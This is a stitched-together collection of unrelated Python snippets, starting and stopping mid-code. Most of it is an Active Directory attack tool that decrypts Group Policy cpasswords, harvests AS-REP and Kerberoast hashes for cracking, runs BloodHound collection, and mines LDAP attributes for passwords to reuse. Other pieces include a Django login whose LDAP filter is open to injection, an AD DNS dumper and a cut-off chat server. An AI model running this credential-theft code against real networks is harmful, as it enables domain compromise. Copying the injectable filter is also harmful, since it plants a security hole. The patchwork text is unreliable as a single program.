smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), str(dirname) + '\\*') for sub in subPath: if len(sub.get_shortname()) > 2: paths.append(dirname + '\\' + sub.get_shortname()) except (SessionError, UnicodeEncodeError, NetBIOSError) as e: continue # Compile regexes for username and passwords cpassRE = re.compile(r'cpassword=\"([a-zA-Z0-9/]+)\"') unameRE = re.compile(r'userName|runAs=\"([ a-zA-Z0-9/\(\)-]+)\"') # Prepare the ciphers based on MSDN article with key and IV cipher = AES.new(bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b'), AES.MODE_CBC, bytes.fromhex('00' * 16)) # Since the first entry is the DC we dont want that for item in paths[1:]: if '.xml' in item.split('\\')[-1]: with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'wb') as f: smbconn.getFile(str(share['shi1_netname']).rstrip('\0'), item, f.write) with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'r') as f: try: fileContent = f.read() passwdMatch = cpassRE.findall(str(fileContent)) for passwd in passwdMatch: unameMatch = unameRE.findall(str(fileContent)) for usr in unameMatch: padding = '=' * (4 - len(passwd) % 4) # For some reason, trailing nul bytes were on each character, so we remove any if they are there cpasswords[usr] = cipher.decrypt(base64.b64decode(bytes(passwd + padding, 'utf-8'))).strip().decode('utf-8').replace('\x00', '') except (UnicodeDecodeError, AttributeError) as e: # Remove the files we had to write during the search os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1])) continue # Remove the files we had to write during the search os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1])) if len(cpasswords.keys()) > 0: with open('{0}-cpasswords.json'.format(self.server), 'w') as f: json.dump(cpasswords, f) if len(cpasswords.keys()) == 1: print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpassword in a GPO on SYSVOL share'.format(len(cpasswords.keys()))) else: print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpasswords in GPOs on SYSVOL share'.format(len(cpasswords.keys()))) except (SessionError, UnicodeEncodeError, NetBIOSError): print('[ ' + colored('ERROR', 'red') + ' ] Some error occoured while searching SYSVOL') else: smbconn.close() def splitJsonArr(self, arr): if isinstance(arr, list): if len(arr) == 1: return arr[0] return arr def outputToBloodhoundJson(self): print('[ ' + colored('OK', 'green') +' ] Generating BloodHound output - this may take time...') try: with self.suppressOutput(): opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server) auth = ADAuthentication(username=self.domuser, password=self.passwd, domain=self.server) try: ad = AD(auth=auth, domain=self.server, nameserver=None, dns_tcp=False) ad.dns_resolve(kerberos=False, domain=self.server, options=opts) except (NXDOMAIN) as e: # So we didnt succeed with DNS lookup. Most likely an internal, so lets try to point to the DC print('[ ' + colored('WARN', 'yellow') +' ] DNS lookup of Domain Controller failed - attempting to set the DC as Nameserver') try: ns = socket.gethostbyname(self.server) opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server, nameserver=ns) ad = AD(auth=auth, domain=self.server, nameserver=ns, dns_tcp=False) ad.dns_resolve(kerberos=False, domain=self.server, options=opts) except (NXDOMAIN) as e: # I'm all out of luck print('[ ' + colored('ERROR', 'red') +' ] DNS lookup of Domain Controller failed with DC as nameserver') exit(1) with self.suppressOutput(): bloodhound = BloodHound(ad) bloodhound.connect() collection = resolve_collection_methods('Session,Trusts,ACL,DCOM,RDP,PSRemote') bloodhound.run(collect=collection, num_workers=40, disable_pooling=False) print('[ ' + colored('OK', 'green') +' ] BloodHound output generated') except Exception as e: print('[ ' + colored('ERROR', 'red') + f' ] Generating BloodHound output failed: {e}') def sortComputers(self): for computer in self.computers: try: self.smbShareCandidates.append(computer['dNSHostName']) except LDAPKeyError: # No dnsname registered continue if len(self.smbShareCandidates) == 1: print('[ ' + colored('OK', 'green') +' ] Found {0} dnsname'.format(len(self.smbShareCandidates))) else: print('[ ' + colored('OK', 'green') +' ] Found {0} dnsnames'.format(len(self.smbShareCandidates))) def enumSMB(self): progBar = ProgressBar(widgets=['SMBConnection test: ', Percentage(), Bar(), ETA()], maxval=len(self.smbShareCandidates)).start() prog = 0 try: for dnsname in self.smbShareCandidates: try: # Changing default timeout as shares should respond withing 5 seconds if there is a share # and ACLs make it available to self.user with self.passwd smbconn = smbconnection.SMBConnection('\\\\' + str(dnsname), str(dnsname), timeout=5) smbconn.login(self.domuser, self.passwd) dirs = smbconn.listShares() self.smbBrowseable[str(dnsname)] = {} for share in dirs: self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = '' try: _ = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*') self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = True except (SessionError, UnicodeEncodeError, NetBIOSError): # Didnt have permission, all good # Im second guessing the below adding to the JSON file as we're only interested in the listable directories really #self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = False continue smbconn.logoff() progBar.update(prog + 1) prog += 1 except (socket.error, NetBIOSTimeout, SessionError, NetBIOSError): # TODO: Examine why we sometimes get: # impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_NOT_AVAILABLE # on healthy shares. It seems to be reported with CIF shares progBar.update(prog + 1) prog += 1 continue except ValueError: # We reached end of progressbar, continue since we finish below pass progBar.finish() print('') availDirs = [] for key, value in self.smbBrowseable.items(): for _, v in value.items(): if v: availDirs.append(key) if len(self.smbShareCandidates) == 1: print('[ ' + colored('OK', 'green') + ' ] Searched {0} share and {1} with {2} subdirectories/files is browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser)) else: print('[ ' + colored('OK', 'green') + ' ] Searched {0} shares and {1} with {2} subdirectories/file sare browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser)) if len(self.smbBrowseable.keys()) > 0: with open('{0}-open-smb.json'.format(self.server), 'w') as f: json.dump(self.smbBrowseable, f, indent=4, sort_keys=False) print('[ ' + colored('OK', 'green') + ' ] Wrote browseable shares to {0}-open-smb.json'.format(self.server)) def write_file(self): with open(str(self.output) + '-computers', 'w') as f: for item in self.computers: f.write(str(item)) f.write("\n") with open(str(self.output) + '-people', 'w') as f: for item in self.people: f.write(str(item)) f.write("\n") with open(str(self.output) + '-groups', 'w') as f: for item in self.groups: f.write(str(item)) f.write("\n") with open(str(self.output) + '-spn', 'w') as f: for item in self.spn: f.write(str(item)) f.write("\n") with open(str(self.output) + '-acl', 'w') as f: for item in self.acl: f.write(str(item)) f.write("\n") with open(str(self.output) + '-gpo', 'w') as f: for item in self.gpo: f.write(str(item)) f.write("\n") with open(str(self.output) + '-domains', 'w') as f: for item in self.domains: f.write(str(item)) f.write("\n") with open(str(self.output) + '-ous', 'w') as f: for item in self.ous: f.write(str(item)) f.write("\n") print('[ ' + colored('OK', 'green') +' ] Wrote all files to {0}-obj_name'.format(self.output)) def enumKerbPre(self): # Build user array users = [] self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: users.append(str(entry['sAMAccountName']) + '@{0}'.format(self.server)) if len(users) == 0: print('[ ' + colored('OK', 'green') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users))) elif len(users) == 1: print('[ ' + colored('OK', 'yellow') +' ] Found {0} account that does not require Kerberos preauthentication'.format(len(users))) else: print('[ ' + colored('OK', 'yellow') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users))) hashes = [] # Build request for Tickets for usr in users: clientName = Principal(usr, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = str(self.server).upper() serverName = Principal('krbtgt/{0}'.format(domain), type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacReq = KERB_PA_PAC_REQUEST() pacReq['include-pac'] = True encodedPacReq = encoder.encode(pacReq) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacReq requestBody = seq_set(asReq, 'req-body') options = list() options.append(constants.KDCOptions.forwardable.value) options.append(constants.KDCOptions.renewable.value) options.append(constants.KDCOptions.proxiable.value) requestBody['kdc-options'] = constants.encodeFlags(options) seq_set(requestBody, 'sname', serverName.components_to_asn1) seq_set(requestBody, 'cname', clientName.components_to_asn1) requestBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) requestBody['till'] = KerberosTime.to_asn1(now) requestBody['rtime'] = KerberosTime.to_asn1(now) requestBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) try: response = sendReceive(msg, domain, self.server) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) response = sendReceive(msg, domain, self.server) else: print(e) continue asRep = decoder.decode(response, asn1Spec=AS_REP())[0] hashes.append('$krb5asrep${0}@{1}:{2}${3}'.format(usr, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())) if len(hashes) > 0: with open('{0}-jtr-hashes'.format(self.server), 'w') as f: for h in hashes: f.write(str(h) + '\n') print('[ ' + colored('OK', 'yellow') +' ] Wrote all hashes to {0}-jtr-hashes'.format(self.server)) else: print('[ ' + colored('OK', 'green') +' ] Got 0 hashes') def enumSPNUsers(self): users_spn = { } user_tickets = { } userDomain = self.domuser.split('@')[1] idx = 0 for entry in self.spn: spns = json.loads(self.spn[idx].entry_to_json()) users_spn[self.splitJsonArr(spns['attributes'].get('name'))] = self.splitJsonArr(spns['attributes'].get('servicePrincipalName')) idx += 1 # Get TGT for the supplied user client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: # We need to take the domain from the user@domain since it *could* be a cross-domain user tgt, cipher, _, newSession = getKerberosTGT(client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = newSession for user, spn in users_spn.items(): if isinstance(spn, list): # We only really need one to get a ticket spn = spn[0] else: try: # Get the TGS serverName = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, newSession = getKerberosTGS(serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) # Decode the TGS decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Get different encryption types if decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) user_tickets[spn] = entry except KerberosError: # For now continue # TODO: Maybe look deeper into issue here continue if len(user_tickets.keys()) > 0: with open('{0}-spn-tickets'.format(self.server), 'w') as f: for key, value in user_tickets.items(): f.write('{0}:{1}\n'.format(key, value)) if len(user_tickets.keys()) == 1: print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server)) else: print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server)) else: print('[ ' + colored('OK', 'green') +' ] Got {0} tickets for Kerberoasting'.format(len(user_tickets.keys()))) except KerberosError as err: print('[ ' + colored('ERROR', 'red') +' ] Kerberoasting failed with error: {0}'.format(err.getErrorString()[1])) def enumForCreds(self, ldapdump): searchTerms = [ 'legacy', 'pass', 'password', 'pwd', 'passcode' ] excludeTerms = [ 'badPasswordTime', 'badPwdCount', 'pwdLastSet', 'legacyExchangeDN' ] possiblePass = {} idx = 0 for _ in ldapdump: user = json.loads(ldapdump[idx].entry_to_json()) for prop, value in user['attributes'].items(): if any(term in prop.lower() for term in searchTerms) and not any(ex in prop for ex in excludeTerms): try: possiblePass[user['attributes']['userPrincipalName'][0]] = value[0] except KeyError: # Could be a service user instead try: possiblePass[user['attributes']['servicePrincipalName'][0]] = value[0] except KeyError: # Don't know which type continue idx += 1 if len(possiblePass) > 0: print('[ ' + colored('INFO', 'green') +' ] Found possible password in properties') print('[ ' + colored('INFO', 'green') +' ] Attempting to determine if it is a password') for user, password in possiblePass.items(): try: usr, passwd = self.entroPass(user, password) except TypeError: # None returned, just continue continue if not self.CREDS: self.domuser = usr self.passwd = passwd self.runWithCreds() return def entroPass(self, user, password): if not password: return None # First check if it is a clear text dc_test_conn = Server(self.server, get_info=ALL) test_conn = Connection(dc_test_conn, user=user, password=password) test_conn.bind() # Validate the login (bind) request if int(test_conn.result['result']) != 0: if self.CREDS: print('[ ' + colored('INFO', 'yellow') +' ] User: "******" with: "{1}" as possible clear text password'.format(user, password)) else: print('[ ' + colored('INFO', 'green') +' ] User: "******" with: "{1}" was not cleartext'.format(user, password)) else: if self.CREDS: print('[ ' + colored('INFO', 'yellow') +' ] User: "******" had cleartext password of: "{1}" in a property'.format(user, password)) else: print('[ ' + colored('OK', 'yellow') +' ] User: "******" had cleartext password of: "{1}" in a property - continuing with these creds'.format(user, password)) print('') return user, password test_conn.unbind() # Attempt for base64 # Could be base64, lets try try: pw = base64.b64decode(bytes(password, encoding='utf-8')).decode('utf-8') except base64.binascii.Error: return None # Attempt decoded PW dc_test_conn = Server(self.server, get_info=ALL) test_conn = Connection(dc_test_conn, user=user, password=pw) test_conn.bind() # Validate the login (bind) request if int(test_conn.result['result']) != 0: if self.CREDS: print('[ ' + colored('INFO', 'yellow') +' ] User: "******" with: "{1}" as possible base64 decoded password'.format(user, pw)) else: print('[ ' + colored('INFO', 'green') +' ] User: "******" with: "{1}" was not base64 encoded'.format(user, pw)) else: if self.CREDS: print('[ ' + colored('INFO', 'yellow') +' ] User: "******" had base64 encoded password of: "{1}" in a property'.format(user, pw)) else: print('[ ' + colored('OK', 'yellow') +' ] User: "******" had base64 encoded password of: "{1}" in a property - continuing with these creds'.format(user, pw)) print('') return user, pw
def authorize(request): global session context={'checked':True} if(session!=None and session.exists('user_type')): if(session['user_type']=='student'): return redirect('/ppa/student/') elif(session[('user_type')]=='professor'): return redirect('/ppa/professor/') if(request.method == 'POST'): user_type = None uname = request.POST.get('username') pwd = request.POST.get('password') # if(request.POST.get('student-login')!=None): # # user_type = "student" # # elif(request.POST.get('admin-login')!=None): # # user_type = "admin" s = Server('ldap://ldap.iitb.ac.in', get_info=ALL) c = Connection(s, auto_bind=True) a = c.search('dc=iitb,dc=ac,dc=in', '(uid='+uname+')', ) if(a): b = str(c.entries[0]) # print(b) # start = b.index('uid') # end = b.index('in') user_dn = c.response[0]['dn'] #to get dept of user context={'checked':True} info = b.split(',') user_dept = dept_to_short[info[2][3:]] if(info[1][3:] == "FAC"): user_type="professor" elif(info[1][3:] == "UG"): user_type = "student" elif(info[1][3:] == "PG"): user_type = "student" elif(info[1][3:] == "DD"): user_type = "student" else : return render(request,'ppa/base_login_page.html',context) #ending to get dept of user c1 = Connection(s, user_dn, pwd) if(not c1.bind()): return redirect('/ppa/login/') else: redir_url = "" session = SessionStore() if(user_type=="student"): u = Student.objects.filter(ldap_id=uname).first() redir_url = "/ppa/student/" if(u is None): u = Student(ldap_id=uname, department=user_dept, name="", email=uname+"@iitb.ac.in") redir_url = "/ppa/my_info/" u.save() # commented out the following to allow changing of ldap passwords # u = authenticate(username=uname, password=pwd) if(u is not None): session['user_type']=user_type session['ldap_id']=uname session.save() request.session['session_key'] = session.session_key return redirect(redir_url) else: return redirect('/ppa/login/') elif(user_type=="professor"): u = Prof.objects.filter(ldap_id=uname).first() redir_url = "/ppa/professor/" if(u is None): u = Prof(ldap_id=uname, department=user_dept, name="", email=uname+"@iitb.ac.in") redir_url = "/ppa/professor/my_info/" u.save() # commented out the following to allow changing of ldap passwords # u = authenticate(username=uname, password=pwd) if(u is not None): session['user_type']=user_type session['ldap_id']=uname session.save() request.session['session_key'] = session.session_key return redirect(redir_url) else: render(request,'ppa/base_login_page.html',context) else: render(request,'ppa/base_login_page.html',context) else: return render(request,'ppa/base_login_page.html',context)
class auditSecComp_ldap: def __init__(self, ldapServer, userDN, password, reportPath): Domain = '.orchard.osh' if '.' not in ldapServer: self.ldapServer = ldapServer + Domain self.ldapServer = "dc01.orchard.osh" if not ldapServer else ldapServer self.UserDN = "CN=Lookitup4,OU=Users,OU=Administrative,DC=Orchard,DC=osh" if not userDN else userDN self.Password = "******" if not password else password ## self.Port = 636 ## first open a connection to the server: server = Server(self.ldapServer) self.conn = Connection(server, user=self.UserDN, password=self.Password) self.lastMonth = Enums.strLastMonth # May self.DateTime = Enums.strDateTime if not os.path.isfile(reportPath): self.wb2 = Workbook() # self.wb2.remove_sheet(self.wb2.active) self.wb2.save(reportPath) self.reportPath = reportPath # reportPath = r"C:/staging/python/pilot/test_fromBZ2_all.xlsx" self.wb2 = pd.ExcelWriter(self.reportPath, engine='openpyxl') # self.wb2.remove_sheet(self.wb2.active) self.book = load_workbook(self.reportPath) self.wb2.book = self.book # Remove the default sheet default_sheet = self.wb2.book["Sheet"] self.wb2.book.remove(default_sheet) # default_sheet = self.wb2.book.get_sheet_by_name("Sheet") # deprecated function get_sheet_by_name (Use wb[sheetname]) # self.wb2.book.remove_sheet(default_sheet) # deprecated function remove_sheet (Use wb.remove(worksheet) or del wb[sheetname]) def getLDAPLinuxAccessGroupMembers(self, baseDN, searchScope, searchFilter, retrieveAttributes, derefAliases): self.conn.open() self.conn.bind() wmsLinuxAccessGroupMembers_l = [] derefAliases = DEREF_ALWAYS if not derefAliases else derefAliases ## Review WMS Access Groups - Print group members for server access. self.conn.search(search_base=baseDN, search_scope=searchScope, search_filter=searchFilter, attributes=retrieveAttributes, dereference_aliases=derefAliases) ## WMS LDAP access: responses_d = self.conn.response[0] attributes_d = responses_d['attributes'] for member in attributes_d['member']: wmsLinuxAccessGroupMembers_l.append(member) self.conn.unbind() return wmsLinuxAccessGroupMembers_l def getLinuxGroupMembers(self, baseDN, searchScope, retrieveAttributes, gidNumbers): self.conn.open() self.conn.bind() gidMembers_d = {} for gidNum in gidNumbers: searchFilter = '(gidNumber=' + gidNum + ')' self.conn.search(search_base=baseDN, search_scope=searchScope, search_filter=searchFilter, attributes=retrieveAttributes) gidMembers_l = [] for member_d in self.conn.response: for key, value in member_d.items(): if key == 'dn': gidMembers_l.append(member_d[key]) else: continue gidMembers_d[gidNum] = gidMembers_l self.conn.unbind() return gidMembers_d
def mock_slapd_connection(password: str) -> Connection: """Create mock AD connection""" server = Server("my_fake_server", get_info=OFFLINE_SLAPD_2_4) _pass = "******" # noqa # nosec connection = Connection( server, user="******", password=_pass, client_strategy=MOCK_SYNC, ) # Entry for password checking connection.strategy.add_entry( "cn=user,ou=users,dc=goauthentik,dc=io", { "name": "test-user", "uid": "unique-test-group", "objectClass": "person", "displayName": "Erin M. Hagens", }, ) connection.strategy.add_entry( "cn=group1,ou=groups,dc=goauthentik,dc=io", { "cn": "group1", "uid": "unique-test-group", "objectClass": "groupOfNames", "member": ["cn=user0,ou=users,dc=goauthentik,dc=io"], }, ) # Group without SID connection.strategy.add_entry( "cn=group2,ou=groups,dc=goauthentik,dc=io", { "cn": "group2", "objectClass": "groupOfNames", }, ) connection.strategy.add_entry( "cn=user0,ou=users,dc=goauthentik,dc=io", { "userPassword": password, "name": "user0_sn", "uid": "user0_sn", "objectClass": "person", }, ) # User without SID connection.strategy.add_entry( "cn=user1,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "name": "user1_sn", "objectClass": "person", }, ) # Duplicate users connection.strategy.add_entry( "cn=user2,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "name": "user2_sn", "uid": "unique-test2222", "objectClass": "person", }, ) connection.strategy.add_entry( "cn=user3,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "name": "user2_sn", "uid": "unique-test2222", "objectClass": "person", }, ) connection.bind() return connection
def main(): parser = argparse.ArgumentParser( description= 'Query/modify DNS records for Active Directory integrated DNS via LDAP' ) parser._optionals.title = "Main options" parser._positionals.title = "Required options" #Main parameters #maingroup = parser.add_argument_group("Main options") parser.add_argument( "host", type=native_str, metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to") parser.add_argument("-u", "--user", type=native_str, metavar='USERNAME', help="DOMAIN\\username for authentication.") parser.add_argument( "-p", "--password", type=native_str, metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified") parser.add_argument( "--forest", action='store_true', help="Search the ForestDnsZones instead of DomainDnsZones") parser.add_argument( "--legacy", action='store_true', help="Search the System partition (legacy DNS storage)") parser.add_argument( "--zone", help="Zone to search in (if different than the current domain)") parser.add_argument( "--print-zones", action='store_true', help= "Only query all zones on the DNS server, no other modifications are made" ) parser.add_argument("-v", "--verbose", action='store_true', help="Show verbose info") parser.add_argument("-d", "--debug", action='store_true', help="Show debug info") parser.add_argument("-r", "--resolve", action='store_true', help="Resolve hidden recoreds via DNS") parser.add_argument("--dns-tcp", action='store_true', help="Use DNS over TCP") parser.add_argument("--include-tombstoned", action='store_true', help="Include tombstoned (deleted) records") parser.add_argument("--ssl", action='store_true', help="Connect to LDAP server using SSL") parser.add_argument( "--referralhosts", action='store_true', help="Allow passthrough authentication to all referral hosts") parser.add_argument( "--dcfilter", action='store_true', help="Use an alternate filter to identify DNS record types") parser.add_argument( "--sslprotocol", type=native_str, help= "SSL version for LDAP connection, can be SSLv23, TLSv1, TLSv1_1 or TLSv1_2" ) args = parser.parse_args() #Prompt for password if not set authentication = None if args.user is not None: authentication = NTLM if not '\\' in args.user: print_f('Username must include a domain, use: DOMAIN\\username') sys.exit(1) if args.password is None: args.password = getpass.getpass() # define the server and the connection s = Server(args.host, get_info=ALL) if args.ssl: s = Server(args.host, get_info=ALL, port=636, use_ssl=True) if args.sslprotocol: v = {'SSLv23': 2, 'TLSv1': 3, 'TLSv1_1': 4, 'TLSv1_2': 5} if args.sslprotocol not in v.keys(): parser.print_help(sys.stderr) sys.exit(1) s = Server(args.host, get_info=ALL, port=636, use_ssl=True, tls=Tls(validate=0, version=v[args.sslprotocol])) if args.referralhosts: s.allowed_referral_hosts = [('*', True)] print_m('Connecting to host...') c = Connection(s, user=args.user, password=args.password, authentication=authentication, auto_referrals=False) print_m('Binding to host') # perform the Bind operation if not c.bind(): print_f('Could not bind with specified credentials') print_f(c.result) sys.exit(1) print_o('Bind OK') domainroot = s.info.other['defaultNamingContext'][0] forestroot = s.info.other['rootDomainNamingContext'][0] if args.forest: dnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % forestroot else: if args.legacy: dnsroot = 'CN=MicrosoftDNS,CN=System,%s' % domainroot else: dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot if args.print_zones: domaindnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot zones = get_dns_zones(c, domaindnsroot, args.verbose) if len(zones) > 0: print_m('Found %d domain DNS zones:' % len(zones)) for zone in zones: print(' %s' % zone) forestdnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % forestroot zones = get_dns_zones(c, forestdnsroot, args.verbose) if len(zones) > 0: print_m('Found %d forest DNS zones (dump with --forest):' % len(zones)) for zone in zones: print(' %s' % zone) legacydnsroot = 'CN=MicrosoftDNS,CN=System,%s' % domainroot zones = get_dns_zones(c, legacydnsroot, args.verbose) if len(zones) > 0: print_m('Found %d legacy DNS zones (dump with --legacy):' % len(zones)) for zone in zones: print(' %s' % zone) return if args.zone: zone = args.zone else: # Default to current domain zone = ldap2domain(domainroot) searchtarget = 'DC=%s,%s' % (zone, dnsroot) print_m('Querying zone for records') sfilter = '(objectClass=*)' if not args.dcfilter else '(DC=*)' c.extend.standard.paged_search( searchtarget, sfilter, search_scope=LEVEL, attributes=['dnsRecord', 'dNSTombstoned', 'name'], paged_size=500, generator=False) targetentry = None if args.resolve: dnsresolver = get_dns_resolver(args.host) else: dnsresolver = None outdata = [] for targetentry in c.response: if targetentry['type'] != 'searchResEntry': print(targetentry) continue if not targetentry['attributes']['name']: # No permission to view those records recordname = targetentry['dn'][3:targetentry['dn']. index(searchtarget) - 1] if not args.resolve: outdata.append({'name': recordname, 'type': '?', 'value': '?'}) if args.verbose: print_o('Found hidden record %s' % recordname) else: # Resolve A query try: res = dnsresolver.query('%s.%s.' % (recordname, zone), 'A', tcp=args.dns_tcp, raise_on_no_answer=False) except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN, dns.resolver.Timeout, dns.name.EmptyLabel) as e: if args.verbose: print_f(str(e)) print_m( 'Could not resolve node %s (probably no A record assigned to name)' % recordname) outdata.append({ 'name': recordname, 'type': '?', 'value': '?' }) continue if len(res.response.answer) == 0: print_m( 'Could not resolve node %s (probably no A record assigned to name)' % recordname) outdata.append({ 'name': recordname, 'type': '?', 'value': '?' }) continue if args.verbose: print_o('Resolved hidden record %s' % recordname) for answer in res.response.answer: try: outdata.append({ 'name': recordname, 'type': RECORD_TYPE_MAPPING[answer.rdtype], 'value': str(answer[0]) }) except KeyError: print_m('Unexpected record type seen: {}'.format( answer.rdtype)) else: recordname = targetentry['attributes']['name'] if args.verbose: print_o('Found record %s' % targetentry['attributes']['name']) # Skip tombstoned records unless requested if targetentry['attributes'][ 'dNSTombstoned'] and not args.include_tombstoned: continue for record in targetentry['raw_attributes']['dnsRecord']: dr = DNS_RECORD(record) # dr.dump() # print targetentry['dn'] if args.debug: print_record(dr, targetentry['attributes']['dNSTombstoned']) if dr['Type'] == 1: address = DNS_RPC_RECORD_A(dr['Data']) outdata.append({ 'name': recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical() }) if dr['Type'] in [ a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR'] ]: address = DNS_RPC_RECORD_NODE_NAME(dr['Data']) outdata.append({ 'name': recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address[list(address.fields)[0]].toFqdn() }) elif dr['Type'] == 28: address = DNS_RPC_RECORD_AAAA(dr['Data']) outdata.append({ 'name': recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical() }) elif dr['Type'] not in [ a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['A', 'AAAA,' 'CNAME', 'NS'] ]: if args.debug: print_m('Unexpected record type seen: {}'.format( dr['Type'])) continue print_o('Found %d records' % len(outdata)) with codecs.open('records.csv', 'w', 'utf-8') as outfile: outfile.write('type,name,value\n') for row in outdata: outfile.write('{type},{name},{value}\n'.format(**row))
def chat_server(): server_socket.bind((HOST, PORT)) server_socket.listen(10) # add server socket object to the list of readable connections SOCKET_LIST.append(server_socket) print("Chat server started on port " + str(PORT)) while 1: # get the list sockets which are ready to be read through select ready_to_read, ready_to_write, in_error = select.select( SOCKET_LIST, [], [], 0) for sock in ready_to_read: # a new connection request recieved if sock == server_socket: sockfd, addr = server_socket.accept() SOCKET_LIST.append(sockfd) print("Client (%s, %s) connected" % addr) else: # process data recieved from client, # try: # receiving data from the socket. data = sock.recv(RECV_BUFFER) c.execute( "SELECT * FROM userlist ORDER BY strftime('%Y-%m-%d %H:%M:%S',lastseen) DESC" ) query = c.fetchall() # print(query) if data: addr = sock.getpeername() data = data.decode() data = json.loads( data) #After this line data is a json object with # the attribute username containing the list of receivers of the message(this is also an attribute) # print(data,"dfs") c.execute( "SELECT username FROM 